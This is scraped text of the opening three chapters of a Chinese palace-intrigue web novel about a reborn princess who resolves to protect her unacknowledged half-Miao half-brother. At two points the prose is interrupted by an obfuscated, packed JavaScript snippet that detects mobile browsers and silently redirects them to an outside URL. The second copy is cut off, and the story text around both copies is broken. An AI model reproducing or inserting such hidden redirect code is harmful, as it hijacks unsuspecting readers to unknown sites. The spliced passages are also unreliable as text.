《皇兄他又争又抢》 1. 第 1 章 《皇兄他又争又抢》 文/在望w 2026.02.22春 01 沈燕栖二十岁生辰那一日,雍州下了好大一场雪。 雪漫宫墙,遮不住满室灯烛明亮,华服闪耀。 她微微抿着唇,看铜镜中一盏珠翠头冠稳稳压于发髻,伸手拨了拨垂下来的珍珠流苏,听并立在身后两侧的宫婢说着奉承的吉祥话。 “公主的头冠真真是漂亮,要奴婢说,今日全都城的女娘都要羡慕您。” 听到这些话,沈燕栖唇角忍不住微微勾起来。 这套以累丝掐金工艺为底,集结全大乾能工巧匠打造三月有余的宝石头冠,是整个大乾最为尊贵之物。 其中点翠相饰,凤衔东珠,缝隙间纹饰的珍珠、翡翠,白玉等物散发莹润明光,更衬得她一张脸如玉,气质如华。 此时的沈燕栖是整个大乾最受宠的公主,而她即将要嫁给当朝新贵陈崇桢。 七年前,陈崇桢以一篇策论绝唱于世间,沈燕栖赏识他,因缘际会,也和他相识。 他不嫌弃她二十早夭的命格,她也愿意为他等到命运破除之日成婚。 酉时三刻,天昏暗,西南一角已被染上胭脂金红,太阳渐渐沉沉落下去,宫门两侧的灯烛却已经亮起来,灯光火烛开道,金吾卫持戈列阵,俨然一副气派景象。 沈燕栖持一团扇遮面,在宫人的搀扶下乘上朱漆金饰的厌翟车。 她身形略有不稳,因为过重的钗环压得隐有咳嗽,声音轻且柔,略有不安地回眸望了眼。 “陈崇桢呢?” “驸马早在府前迎接殿下了。”崔嬷嬷喜上眉梢,看她的目光满是慈爱欣慰,见她胆怯,出声宽慰道,“公主莫怕,出了宫到了驸马府,嬷嬷还会陪在你身边的。” 沈燕栖轻轻“嗯”了声,她自幼体弱,二十年来很少有出宫的机会,这次骤然离宫,她心中有期盼,却也有不舍。 隐隐约约翻涌的还有些许不安。 她在不安什么?她嫁的人是这世界上最惊才绝艳的状元郎,是当今太尉的得意门生,温润如玉,前途无量。 可沈燕栖偏偏整个人都陷入一种巨大的不安中,握着团扇的手指止不住颤抖,到最后她握不住,匆匆掀开帘子,轻唤了声嬷嬷。 銮驾在这时候也恰好停了下来。 崔嬷嬷从前面探查了一番情况,皱着眉头跑过来,“殿下,我们的车马被萧娘子堵了。” 这萧妙瑜是萧太尉的独女,受尽宠爱,也是沈燕栖闺阁中的手帕交。 她当众拦车,许是因为不舍,想要在离宫前姐妹二人再说一说体己话罢了。 很显然,沈燕栖也同崔嬷嬷一个想法。 “阿妙来了?”她央着嬷嬷,“虽然不合礼数,但嬷嬷就让我和她见一见吧。” 崔嬷嬷无奈地看了她一眼,差人去请萧家娘子过来。 一炷香的时间落定,请人的宫婢满脸惊慌的跑过来,人还没到跟前,便踉跄着冲到沈燕栖的翟车前。 “宫门,宫门开了!” “公主面前,岂敢如此莽撞。”崔嬷嬷低声训斥道:“今日公主出嫁,宫门自然是开的,遇到何事如此惊慌。” “不是,是叛军,叛军攻入了雍州城,外面全都乱了!” 这话刚说完,整座皇宫忽然陷入一种吵吵嚷嚷的混乱里,天被撕出了一道口子,将所有的狰狞面目都透入,亮起的火光照亮沈燕栖一张仓皇失措的脸庞。 她拎起裙摆仓促下了马车,珠钗首饰掉了一地,绣着珍珠的绣鞋踩上掉在地上的团扇。 她一刻也不敢停,怕身后的追兵抓住她。 皇宫的夹道多而隐秘,沈燕栖慌不择路,拐至了最近的掖庭。 掖庭关押的多是受罪罚没的官人子女,也有不受宠的冷宫妃嫔羁押此处,阖宫荒草凄凄,满目疮痍。 搜查的叛军近在咫尺,沈燕栖喘息不停,一颗心被提到了嗓子眼。 慌乱间,她余光瞥见一旁破败的里屋内,缓缓走出来一个少年。 少年年岁和她差不多大,她不认识他,却下意识抓住他一道躲进了拐角阴暗处。 “别出声,今日有叛军趁机攻入皇宫,你我躲在此处等城外援军,说不定有一线生机。” 见他不信,沈燕栖解下自己的腰牌郑重其事道:“你相信我,我是承德公主。” 他们在掖庭宫等了一个时辰,夜色已深,天渐渐泛起了凉意。 沈燕栖站在风口,被吹的直打哆嗦,皇宫渐渐陷入了宁静,杀戮和喊叫一并消失,与此同时而来的,是死一样的寂静。 “只剩下这处宫殿了,都给我好好的搜,务必要找到承德公主!” 震天动地的声响,援军没有如预料一般到来,在这一刻,沈燕栖预知了自己的命运。 她回头看了一眼少年,他的脸庞在夜色中看得不太真切,身上的气质既冷且淡,却也是她在这世上遇到的最后一个人。 “你快走。”沈燕栖下定决心,猛的推开他,“他们想要的只是我的命,尔等宫人,只要躲好不会费心抓你的。” 推开他的一瞬间,沈燕栖看见一柄长剑直直朝他刺过来。 萧妙瑜一身红衣似血,步步逼近,脸上满是鄙夷不屑的神情。 沈燕栖怎么也没想到带兵攻入皇城的会是萧妙瑜,她不敢置信地问:“为什么,阿妙。” “别叫我阿妙。” 萧妙瑜脸上一闪而过的痛苦,满是怨恨地看着她说,“我讨厌这个名字,讨厌你这个人,你明明什么都比不上我,就因为有公主的出身,就可以拥有我所有想要的东西。” “父亲让我忍让你,讨好你,就连我喜欢陈崇桢,也要让给你。” “不过一切都是值得的。”她眼中快意一闪而过,“现在你终于要死了。” 刀光剑影劈下的一瞬,沈燕栖下意识闭上了眼睛。 滚烫的鲜血溅在她脸上,她睫毛一颤,睁开眼,却看见那位瘦弱冷淡的小郎君挡在了她面前。 长剑没入他胸膛,剑深几寸,只看一眼便知道没了活路。 倒是个忠心护主的宫人。 只是他又是何苦呢,她注定是要死的了。 沈燕栖不忍之色一闪而过,她唇齿间含了点血腥气,抵着齿关出声,“桢郎呢?” “他不会来了。” 萧妙瑜再度挥剑,冷冷出声,“也不会知道你死了。” 刀剑没入皮肉的一瞬,沈燕栖轻轻闭上眼睛。 过往的一切如同走马灯似的一帧帧闪过,十岁那年,她失去了母后,十二岁那年,她失去了唯一的太子阿兄,而二十岁这一年她死了,大乾灭了。 一切都如同命运指引的那样。 只是,她还是好不甘心,不甘心没有守好阿兄留下来的江山。 “承德公主,想必你还不知道他是谁吧。” 萧妙瑜抬起靴子,不屑地走近她,“他就是我平时和你说的那位有苗疆血统的贱奴,你不知道吧,他是陛下的三皇子。” “你所鄙夷不屑的人,是你在这世上唯一的兄长。” 沈燕栖从来不知道自己还有一位三皇兄,她愣了下,因为失血急剧下降的体温,她忽然用力向一旁的少年爬过去。 他至死手里还在握着那块有她名字的玉牌。 玉牌被血浸染,晃得沈燕栖有些睁不开眼。 她忽然“哇”的一声,呕出了一口心头血,鲜艳的血与白皑皑的雪交融在一起,成为化不尽的宿缘。 沈燕栖挣扎着,努力握住他的手。 临死前,她贪婪地注视着他的脸庞,在心里轻声念着—— 阿兄。 * 雍州又下了一场雪,这场雪整整下了三日,下得长乐宫门前那颗柳树都弯了枝条。 沈燕栖从噩梦中惊醒,挣扎间打翻床头熏炉,清心安眠的香气在空气漾起来,她却趴在床头泣声不止,情难自抑。 “公主殿下这是怎么了,可是魇着了。” 双扇板门被人推开,崔嬷嬷拎着一盏宫灯徐徐而入,她脚步放得极轻,身上还裹着霜重夜冷的寒气。 先是走到她面前端详了片刻,又唤鸣玉衔霜两个丫鬟去斟茶请医,自个担忧地搂着她拍着后背哄。 沈燕栖红着眼睛问:“现在是什么时候?” “刚过寅时,天还未亮,公主再睡会吧。” 沈燕栖急急地问:“我说现在是哪一年?我是什么年纪,嬷嬷。” 崔嬷嬷却是被她搞得糊涂起来,一边伸手探她额头的温度,一边答道,“今年是天顺23年冬,殿下,您还有两个月便要及笄,陛下特地来遣人迎您入宫。” “您这是怎么了,可是刚回宫睡不安稳?” 天顺23年。 沈燕栖永远会忘记这一年,这一年夏,长安岭遭受苗国入侵,太子领兵前往增援,却全军覆灭,尸骨无存。 为了保存实力,翊文帝没有派军找回太子尸骨,只迎回了一具衣冠冢,因为这件事,沈燕栖和翊文帝大吵一架,愤而前往显善寺静修。 直到年关将至,她才回到宫里。 她……这是回到十四岁这一年了? 只是为什么,不能够再早点。 这一年沈燕栖已经流尽了眼泪,长安岭的风沙迷人,连带着她哭了小半年的眼睛都有些难以视物。 如今正是天色昏暗时分,长乐宫里因为她的起身都点了明亮的灯烛,整个大殿灯火通明,沈燕栖却有些迷茫地伸了伸手,在半空中虚捞了下。 她轻声问:“灯都点上了吗?” 崔嬷嬷眼眶霎时就红了,在心里头怜她本就是娘胎里带出来的体弱,如今遭了大难,身体愈发弱下去,到现在连个整觉都睡不了。 她柔声道:“只点了一半,公主可要全都点上?” “不必了,我能看见。” 沈燕栖善解人意地笑了下,她自然能听出来这是嬷嬷的宽慰之语,自己的身体自个是最清楚的。 夜里风凉,她咳了两声,整个人还陷在刚刚的一场梦里。 是梦吗? 这也太真实了。 东华门不远处的确就是掖庭,而梦里去掖庭的路也和记忆中无二,沈燕栖瞳孔骤然锁紧,下意识抓住崔嬷嬷的手腕,低声问她。 “嬷嬷,宫里可还有位三皇子?” “就是我的三皇兄。” “公主,这不能说。”崔嬷嬷神色紧张起来,挥手叫其他的宫人退下,这才敛眸低声道,“这是宫里的秘闻,陛下亲口下令不许任何人提。” 崔嬷嬷是从前跟在谢皇后身边的老人,宫里的事几乎就没有她不知道的。 沈燕栖知道问对了人,她心里一跳,这梦的感觉更真了,真得几乎令她害怕。 她压着有些颤抖的声调细细问:“嬷嬷可知道他是谁所出?是什么身份?为何父皇连我都要瞒着。” 崔嬷嬷摇着头道:“这事不光彩,说出来脏了公主的耳朵。” 沈燕栖拉着她的手细细说:“嬷嬷,父皇膝下一共两位皇子,太子阿兄去了,二皇兄又早夭,不管这位三皇兄是什么身份,只要他在,大乾皇室就不会乱,你便同我说一说,也好筹谋一番。” 听到这话,崔嬷嬷这才说:“这位三皇子,算不得皇子,陛下并未给他赐名,也未让他入宗谱。” “二十年前苗国战败,随败降礼一同送来的还有数十位美人,苗疆人擅用蛊术笼络人心,陛下曾下令不许任何人接近苗人,也将这十位美人都关在掖庭。谁知一夜醉酒受蛊,稀里糊涂踏入了一位梁美人的宫殿,诞下了三皇子,陛下不认这个儿子,也不许任何人提起他,知道这段往事的宫人也都被遣送出宫。“ 崔嬷嬷语重心长道:“苗人诡计多端,我大乾江山怎可能会一位有苗疆血统的帝王。” 可偏偏就是这位身上流淌一半苗疆血统的皇兄,真真切切为她挡了一剑。 阿兄。 沈燕栖想到自己死前最后念的这句话,她眼角溢出一滴泪珠,在心里想念着自己的阿兄。 不管怎么说,这位三皇子,如今都是她在这世间最后一位兄长。 沈燕栖想,就为这一剑之情,今生她都要想尽办法保全他。 她轻声问:“嬷嬷,他叫什么名字?” “梁钧。” * 雪下了一整夜,落满青灰色的屋檐,也将整个天空衬得更加明净。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17341121|199330||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沈燕栖眼前渐渐清明起来,能看清些东西来了。 她慢慢站起来,凝视着镜中青涩的面孔,略有些怔然。 “殿下,萧娘子等在门外说想要见您。”鸣玉笑着道,“大约是今日放榜,她赶来同您说最新的消息呢。” 整个长乐宫里都知道沈燕栖和萧太尉的独女萧妙瑜关系最为要好,平时这长乐宫数她来的最勤快,勤快到宫人们都眼熟起来。 沈燕栖没想到自己醒来第一个见到的人还是萧妙瑜。 她心中百感交集,垂在身侧的指尖忍不住颤抖起来。 崔嬷嬷端着一盏茶进来,见她脸色苍白立刻关切问道:“怎么脸吓得这样白,可是受了风?要不然今日就别见这萧娘子了。” “不。”沈燕栖咬紧下唇,“我要见她。” 要想确定究竟是噩梦还是真实,只需要确认今天发生的一件事。 沈燕栖缓缓走出去,同站在院中的萧妙瑜四目相对。 和记忆里没什么两样,萧妙瑜一身红衣,充满了将门虎女的英姿飒爽,眉宇飞扬,五官立挺,身上有她艳羡的生机与活力。 也因此沈燕栖会选择同她相伴,结为知己。 “今天是放榜之日,整个雍州都热闹极了,等会中午皇后要宴请文武状元,承德公主,你和我一同去凑个热闹吧。” 和记忆中一样的话,沈燕栖垂下睫毛,心却犹如被一根根针碾过一样痛。 她仿佛又嗅到了浓重的血色,含着泪与恨咬牙开口。 “好啊,阿妙。” 萧妙瑜神情一怔,似乎完全没想到她会应答。 她是知道这承德公主体弱,往日是最不喜欢凑这人多的地方,更别说是韦皇后举办的宴席。 她来宴请,完全是萧太尉强压着来请,今日文武状元齐在,雍州不少好儿郎也在,天顺21年的状元郎陈崇桢也在。 萧妙瑜比任何人都期盼见到他。 也比任何人都不希望沈燕栖出现在他面前。 她强压着妒意说:“那处人多,公主身子可受可住?可不要被冲撞了。” “我无事。”沈燕栖深吸一口气,回过头来看着她微微一笑,“怎么,你不希望我去?” 这话令萧妙瑜脸色惊变,连忙道:“怎么会。” * 二月十二,春闱放榜,文武状元之名响彻整个雍州城,一时间春风得意马蹄疾,整座雍州城足足热闹了三日有余。 放榜当日,韦皇后携天恩与甘露殿前设庆功宴,召见两位文武状元并其他中第者,一时间殿内热闹非凡,欢饮达旦。 沈燕栖来时乘来自己的那尊凤鸟厌翟车,这是陛下赐予她尊荣,也是满宫里唯一一份荣宠。 銮驾之侧,共伴有十六人随侍,手持香炉宝瓶,垂下的软烟罗纱帐被风吹起,露出一张在光影下似明似暗的容颜来。 一双温润低垂的眉眼,肤若凝脂,唇似樱桃,金色光辉淡淡洒落在她发顶,犹如神女下凡,清艳独绝。 在场诸人起身相迎,皆被这一副盛世容颜所惊。 韦皇后皮笑肉不笑迎道:“往日从不见你出门,今日倒是有闲心。” 沈燕栖掀眸看向高坐明台之上的女人,十六尾凤钗雍容华贵,她并不开口唤她“母后”,只是依身份道一句,“有劳皇后挂心了。” 韦皇后唇角一扯,对她没有笑颜,却也发不出脾气。 当年陛下入雍州登基称帝,身边是有正经原配夫人的,是她韦氏以滔天权势相逼,逼得陛下不得已共立两后,分庭执掌东西二宫。 沈燕栖不愿叫她母后,原也就是陛下默许的事情。 如今韦皇后一看见她便头疼,连心情都不怎么好了。 坐在下首的韦烨见此进言道:“今日雍州两位状元都在,不若姑姑设一场比赛,也好叫尔等一睹状元郎风采。” 这韦烨是韦氏一族的小儿子,也是韦皇后最宠爱的侄儿,她挑了下眉,颇有兴致问,“哦?烨哥有何见解?” “文可比作诗,武可两人相搏,一较高下。” “此举不妥。”陈崇桢温声谏言,“二人相搏,极易受伤,宴会之上,恐惊扰贵人。” 他口中的贵人是谁,自然不言而喻。 谁都知道这承德公主体弱多病,极易心悸,而这偏偏就是韦烨想要的。 他目光直勾勾地看向韦皇后:“臣有办法,能令此举不伤及贵人。” “今岁苗国大败,臣于长安岭缴获一批苗国俘虏,听说苗国人骁勇善战,不若便以此为相斗,一来可以彰显我大乾威风,二来区区俘虏,死伤又如何。” 殿内还有想要反驳的,韦皇后却扬声道:“此举甚妙,这个玉佩便做彩头吧。” “来人,为承德公主赐下上座。” 众人移居殿外,甘露殿前恰好就有一大片空地,不远处梅林开得正放,簇簇白雪压在枝头,很快又被挑起的剑气吹来个彻底。 一块玉佩算不上什么好彩头,但人人都想在权势滔天的韦氏面前露个脸,指不定就如那位跟了萧太尉的前状元郎一样平步青云了呢? 韦烨抬起下巴,骄傲地享受这些来自四面八方的目光。 他轻拍手掌,命人将准备好的俘虏押上来。 这些俘虏有数十人众,在寒风里只穿单薄的里衣,风吹起,露出他们布满鞭痕的皮肉,还有被重重镣铐扣住的手腕。 每走一步镣铐都在雪地里拖出深深的印痕,像是沉重的叹息,麻木的神情,接近死亡的平静,令沈燕栖有些不忍看下去。 她偏过头,心里已经开始有些不舒服了,却在看到最后一个的时候,目光猛地凝住。 这是个骨相极美的少年,眉骨锋利如剑,瞳孔幽深如漆,露出的肌肤透出一种病态的白,像是浸在寒潭底的墨玉,他不曾他人的乞怜神色,也不曾为身上的伤痕流露出半分痛楚。 自始至终有的只是死寂。 像是囚于无间地狱不见天日的魅,却偏偏长了一副惊心动魄的艳鬼面容。 叫人既怜且惧。 沈燕栖的目光越过众人独独朝他望过来,忽然她浑身仿若被定住,再也无法挣扎一分。 居然是他。 原来她和他,在这时候就已经见过了。 2. 第 2 章 02 韦氏一族主家这一脉子嗣不丰,总共就出了两个儿郎。 长子韦焕随父出征,如今已经领了宫里十二卫将军的职,负责统领皇城内外禁军。 韦烨是家里的小儿子,他生来享有祖宗荫蔽,不必科举考试,只随长兄在军营里混个闲散官职玩乐。 他想出来的法子也是如今雍州城时兴的,以奴役为活靶,考校骑艺。 “就这个吧,口衔玉佩,若能射中,便是头名。” 韦烨语气轻松:“若能射穿头颅,便是勇夫,我重重有赏。” 口衔玉佩,若要射中,必然要穿颅而过。 在场的人都有些犹豫,好些文官都觉得杀戮气太重,想要谏言,却又耐于韦氏权势不敢开口。 那些被镣铐捆缚住的俘虏也渐渐骚动起来,韦焕毫不客气扬起一鞭,抽的空中血沫直飞,令人作呕。 偏他笑吟吟地走到沈燕栖面前,拿起一块玉佩递到她掌心。 “不若便由承德公主亲自赐这份殊荣吧,公主想要选谁?” 沈燕栖睫毛微颤,盯着手心的玉佩已然有了计较。 她趁机慢慢走上前去,目光不经意落在最后一个人的身上,竭力将他和梦中那个模糊的面孔相校。 她的目光被他所捕,他抬眸的一瞬间,沈燕栖整颗心都被攥紧。 她见他一双狭长挑起的眼眸,凝着刺骨的寒意,瞳色深得发黑,如深潭泥沼里不见天日的恶鬼,裹着化不开的忧郁,此刻沉沉朝她看过来,眼尾泛红,病弱单薄,眸光却冷冽似冰,摄人心魄。 她只是看他一眼,就险些要被他勾着魂魄陷入深沼。 沈燕栖艰难喘了口气,面上的血色快点褪了下去,她睨了韦烨一眼,忽然将手里的玉佩重重扔下。 玉佩在地上碎成两半,韦焕脸色一变:“承德公主,你这是什么意思?” 沈燕栖冷着脸说:“杀戮太重,我不喜欢,把这些人撤下吧。” 韦烨瞪大双眼:“今日宫宴,皇后携陛下之令召见众臣,你不喜欢便要撤下,这算是什么理由?” 他想要拿韦氏来压沈燕栖,却不料她自始至终眉目疏冷,只沉声问:“韦焕,我是谁?” 韦焕愣了一下却还是答道:“承德公主。” 她目光淡淡睨向他,身形虽纤弱,但掷地有声,仍有不怒自威的皇家威仪。 “我再问你,我是谁。” 承德公主。 陛下亲赐封号,赏下千户食邑,荣宠无人能及的承德公主。 韦烨这一刻回过味来了,他回头望了一眼皇后脸色,见她也无可奈何,只得呐呐道,“臣谨遵公主之意。” 恰逢此刻,翊文帝身边的近侍走近,躬身道,“陛下口谕,稍后要在太极殿亲自面见两位状元,今日宫宴若无事便早些散了吧。” 韦皇后眸光敛下:“敢问公公,陛下此举何意?” “陛下的圣意,尔等奴婢如何敢揣度。” “不过有一句话老奴倒是能送给韦小郎君。”略过韦烨身边时,福清咳了声,正色道,“还望您莫忘了君臣有别,身份尊卑。” 韦烨目光一凛,几乎这话落下的瞬间便感受到了帝王无形的威压。 他艰难咽下口水,应了声“是”。 一场宫宴就此散去,沈燕栖领着宫人在出宫路上拦下了韦烨。 “你可知这些俘虏是什么人?” 韦烨满脸不屑:“都是俘虏了,哪配我知道他们的名字,不高兴杀了便是。” 他是真不知道还是装不知道? 沈燕栖细细端详他的神色,她总是觉得哪怕梁钧不受宠,一个外臣能将他带出宫外,也是天方夜谭的事情。 她相信韦焕这幅酒肉皮囊,不可能会有这个胆子。 那是谁驱使? 韦皇后吗?她想要除掉他? 眼下一切还不明朗,当务之急是从韦焕手里救下梁钧。 想到此,沈燕栖直接伸出手:“这些人我要了,你直接出宫便是。” 原就是一批西市买来的黑奴,不值几个钱,带出宫去韦烨也是随便找个地方杀了。 他倒是没想到这个小公主会感兴趣,韦谢两家不睦已久,她伸手讨要,他偏偏就不乐意给了。 刚想要反驳,却没想到沈燕栖直接命人解下他腰间的玉牌。 少女姿容秀丽,眉宇间虽有病气,却不曾掩盖灼灼风华,此刻微抬下巴看向他,满是娇蛮纵意。 很是居高临下道:“我要你东西,你还不跪谢。” * 押解俘虏的空屋内,沈燕栖想要找的那个人已经不在了。 其余俘虏蜷缩在房内一角,抬着惊慌失措的面容看向她,镣铐间摩擦的声音刺耳,整间房里阴寒刺骨。 沈燕栖咳了两声,命鸣玉衔霜两位婢女守在门外,她自己则压着声音凑近问,“你们都是攻打长安岭的苗人?” 此言一出,几个俘虏更是两股战战,不敢抬头。 见状,沈燕栖出声道:“我不是来追究你们的过错的,只是想问你们长安岭一战中城内可有什么异常?” “若答得好,我放你们自由,不再奴役之苦。” 几个俘虏彼此对望,原先死寂的眸因为这句话燃起一线生机,胆子略大些的匍匐向前,跪着说,“我等都是些下等的兵卒,是大军攻城前送命的前卒。” “说来那战也真是奇怪,城攻的轻而易举,入城后登上城墙,我看见许多守城士兵不是被羽箭射死,而是口吐白沫倒在墙边,倒像是……” 旁边立刻有人接话:“就像是被毒死的!对,就是被毒死的!” “入城后,将军还命令我们不许饮用城中的水源,只准喝自己带来的水囊。” 沈燕栖低眸,静静听完他们的陈述,她一颗心渐渐沉了下去,窗外太阳也渐渐落了下来,深沉的暗色即将吞噬。 她拖着沉重的步伐推门而出,对身侧的宫人道:“将这些人妥善送出宫吧。” 鸣玉犯难问:“可是这些人能送到哪里去呢,连籍贯都没有的奴役,在哪里都活不下去。” 这话提醒了沈燕栖,只是眼下她在宫外也没旁人能用上。 想了想便道:“送到长公主府吧,姑姑门路多,你拿着我的玉牌,央她帮我将这些人遣回故土,若有愿意留下的,便想法子给他们造一纸户籍文书吧。” 太子阿兄平定的那场长安岭叛乱果然有问题。 暂时了却压在心里的一件事,沈燕栖深深吐了一口气,当务之急,她有更重要的一件事要做。 找到梁钧。 满宫里树影婆娑,看不清的魑魅魍魉,敌人总在暗处筹谋。 沈燕栖想,她也应当有一位同党。 她要找到梁钧,拯救他、教导他,辅佐他。 这位大乾皇室里唯一的一位皇子,如果他有帝王之才,她会将他送上这条青云之路。 如果他不堪为帝,她也会淬炼他,成为大乾一柄所向披靡的剑。 百姓安乐,江山无恙,是沈燕栖唯一能做的。 也是死去阿兄唯一的夙愿。 * 再有梁钧的消息,是在一日后的掖庭。 守在各处的宫人匆匆来报,沈燕栖立刻起身,不顾天晚便要出门。 幽暗昏黑的掖庭,只零星点了几盏宫灯,黑得让人看不清脚下的路。 破损不堪的鹅卵石小路,沈燕栖不慎踩上缺损的那一块,脚下打了个滑,她抬头望过去,又觉得对面的枯树林里有风声簌簌,看不见的人影如同鬼魅,下一秒就要挣脱黑暗扑涌过来。 她害怕,身旁的鸣玉也吓的牙关打颤,劝道:“殿下,要不然我们明天白天再来吧。” “晚上又如何,难道他梁钧还是披着人皮的恶鬼不成?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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只看一眼,沈燕栖便确定,如今他躺下的神态和她梦里的一摸一样,他就是大乾的三皇子,也是她的三皇兄。 而现在这位三皇兄奄奄一息,似乎就要死掉了。 “去喊太医,备热水。”沈燕栖立刻吩咐道,“来两个人将他抬进内室。” 说着她解下腰间香囊,取了一颗药丸塞进他唇间。 鸣玉吃惊道:“公主,这是您救命的药,万金难求。” “没关系,醒来让他赔就是了。” 不过一炷香时间,梁钧便已幽幽转醒,室内灯烛明亮,炭火温暖,他有些不习惯地眯了下眼睛,下意识打量起四周。 沈燕栖还在院外赏玩自己的软剑,这柄剑是长公主送她的生辰礼物,她给这剑取名叫“流光”,夜色中如月下秋水,剑身泛着粼粼波光,果然是流光溢彩。 正欣赏着,鸣玉差人来报,说里面的人醒了。 沈燕栖挑着剑径直入了内室,她微微扬起下巴,手中的流光应声而出,一柄软剑直指少年眉心,脸上神色张扬而又夺目。 “梁钧,今日我救下你,你该怎么回报我?” 话音落下,房间内却陷入一片寂静之色,久久得不到回音。 沈燕栖下意识看向他,却见一片冷寂之中,梁钧目光森然地看向她,这目光不带有一丝情绪,却冷得渗透骨髓,令人发颤。 她僵硬在原地,双腿好似扎根不能动弹,呼吸下意识放轻,有些畏他这幅死寂又压抑的郁气,像是囚笼里的困兽,下一秒挣脱了便要将她扑倒。 这一刻,沈燕栖不知道招惹他,是对还是错。 然而箭在弦上不得不发,她强撑着将目光落在他脸上,即便怯得发抖,也不退缩分毫。 “无以为报,我无畏生死。” 他的声音很哑,脸上的神情无喜无悲,像是一件死物一般,漆黑的瞳仁一动也不动。 过了会儿慢慢从阴影里站起身来,苍白的面色,泛红的眼尾,黑发凌乱披散着,强撑的身体几近颤抖,明明是病弱之态,望向她的目光却如鬼刹阴冷疯寒。 沈燕栖被吓得向后退了一步。 可她向来不吃软不吃硬,想做的事情也从来没有人能拒绝。 沈燕栖直接拦下了他离开的路,寸步不让:“可我偏要救你,梁钧。” 3. 第 3 章 03 落不尽的大雪,雍州这一年的冬天似乎格外的冷。 这是梁钧被扔在冷宫的第十八年。 而他大概熬不过这个苦寒的冬夜。 在雪地里躺下的那一刻,他仰头看向漆黑一片的夜空,感受到一种久违的轻松。 他终于就要死了。 人死之前会将一生中所有的情景都在眼前一帧帧闪过,梁钧闭上眼睛,眼前闪过他在掖庭这数十年来的日子。 有被太监欺辱的、被迫和狗抢食的,还有那些鄙夷他血统的目光,他们百般折辱,却偏偏不敢杀死他。 不过幸好他将这些人全都杀死了。 梁钧唇角微微翘起,闭上眼的那一刻,少女惊慌失措的面庞蓦然闯入他的眼前。 这是他头一回见到如此胆小的姑娘,握着的剑还能掉下,害他自寻死路都寻不成。 “梁钧?” 恍惚间,有人在唤他的名字。 梁钧眉心微蹙,脸上流露出挣扎的痛苦之色。 他有多少年没听过这个名字了。 “钧,以后你的名字便叫梁钧。” “愿你履道正身,秉国之钧。” * 长乐宫闹了一夜的动静瞒不过皇宫里的眼线,也自然传到了太极殿的翊文帝耳朵里。 早朝刚毕,福清便来请沈燕栖去,彼时她正用早膳,闻言便要将喝了一半的粥放下跟着一道去。 福清赶紧道:“陛下那处不急,就是等等也无妨,公主,您先把早膳用完吧。” “没事,反正也没什么胃口。” 沈燕栖放下碗,唇间倦色掩不住,她打了个哈欠,跟着福清一同上了銮驾。 刚一踏入太极殿大门,便见翊文帝摔了杯盏,朝她大怒道,“胡闹!” 帝王一怒,众人跪首,均屏息不敢言语。 唯有沈燕栖目光直视天颜,丝毫不惧。 她一撩衣裙,笔直跪了下去,落下的声音清润。 “儿有罪,还请父皇责罚。” 谁知道她刚跪下,翊文帝便着急从大殿上走下来,他赶紧扶起她,连声道,“哎呀,好端端的你跪下做什么。” 他万分心疼道:“这地上多凉啊,福清,还不快给公主赐座。” 福清“哎”了一声,叫人将早就准备好的软垫端上来,他脸上有些藏不住笑,心想这陛下每回在承德公主面前都想要装一回严父,结果见到了人便什么都顾不得了。 沈燕栖鼓起脸看着翊文帝嘟囔道:“又不是儿想跪下的,天子一怒,儿自然害怕。” “你呀,真害怕就不会说这句话了。” 翊文帝掀眸看她:“三皇子的事情你都知道了?” 此事当年闹的也算是沸沸扬扬,乾国人厌苗人已久,梁钧身上有一半苗人血统,即便贵为皇子之尊,群臣也不待见他,久而久之被忽略,几乎世间所有人都忘记了他的存在。 连翊文帝自己都恍惚,原来深宫里还有这么一位人。 他语重心长道:“阿绥,你这样堂而皇之将他接入长乐宫,不是让天下人都知道他的身份了吗?朕瞒了许多年,你这不是胡闹吗?” “为何要瞒着?”沈燕栖目光困惑不解地看向翊文帝,“就算以前要瞒,现在却是不能瞒了。” “后宫无子,藩王动荡,父皇难道忘了,雍州之外你可是还有八位兄弟的子侄在蠢蠢欲动。” 翊文帝的皇位之路来的太轻松了。 他生母是先帝后宫里一位平平无奇的妃子,成年后便被驱赶到偏远封地做了藩王,谁都觉得他此生与皇位无缘,谁都不将他放在眼里。 可没想到持续八年的皇位之争,先帝的十位亲子鱼死网破,尽数死在这一场夺权之争中。 彼时苗国蠢蠢欲动,边境战争一触即发,先帝十子新丧,病体已经到摇摇欲坠之际,只能同群臣仓促迎翊文帝登入雍州。 而翊文帝入主雍州的代价便是,迎娶韦氏女为后。 自此,大乾定下国号天顺,寓意风调雨顺,沈燕栖的母亲谢氏与城南韦氏并称两后的局面也自此开始。 “居然连你也看出来了。”皇帝叹了口气,“前些日子太后还念叨着膝下孤单,要朕将宋王召回常伴。” 宋王是先太子唯一的儿子,也是庄太后的亲孙儿,平素里她最宠爱这位孙儿,也时常念叨着他,希望他早日回到雍州。 只是藩王回京是大忌,翊文帝也犹豫过,一边是血脉亲情,一边是帝王决断。 想到最后他只对太后道:“若朕召宋王回雍州,封地的其他藩王又该如何?若是都回雍州,封地岂不是都要陷入大乱?还希望母后为大局考虑。” 庄太后虽然不高兴,大局在前,却还是忍了下来。 想到这儿,翊文帝叹了口气,感慨这皇帝还真不是个好当的差事。 太子葬身于长安岭,这件事发生以后整个朝堂都变得动荡不安起来,原先定海的锚被人拔出,翊文帝如今苦心孤诣,也只能堪堪维持住这表面的平和。 他早就厌倦了当这个皇帝的日子,如今还苦苦撑在这里,不过是想要护住眼前和心爱之人唯一的女儿。 “阿绥,我和阿青的孩子就只剩下你一个人了。” 翊文帝带着几分感伤地看向她:“你放心,父皇无论如何都会护住你的。” 可惜她并不是一个长寿的命格。 沈燕栖垂下眸,轻声道:“长安岭一战,父皇当真觉得是阿兄轻敌,守城不力?” 翊文帝脸色一凛:“此话怎讲?” 沈燕栖将先前询问苗国俘虏的一一告诉翊文帝。 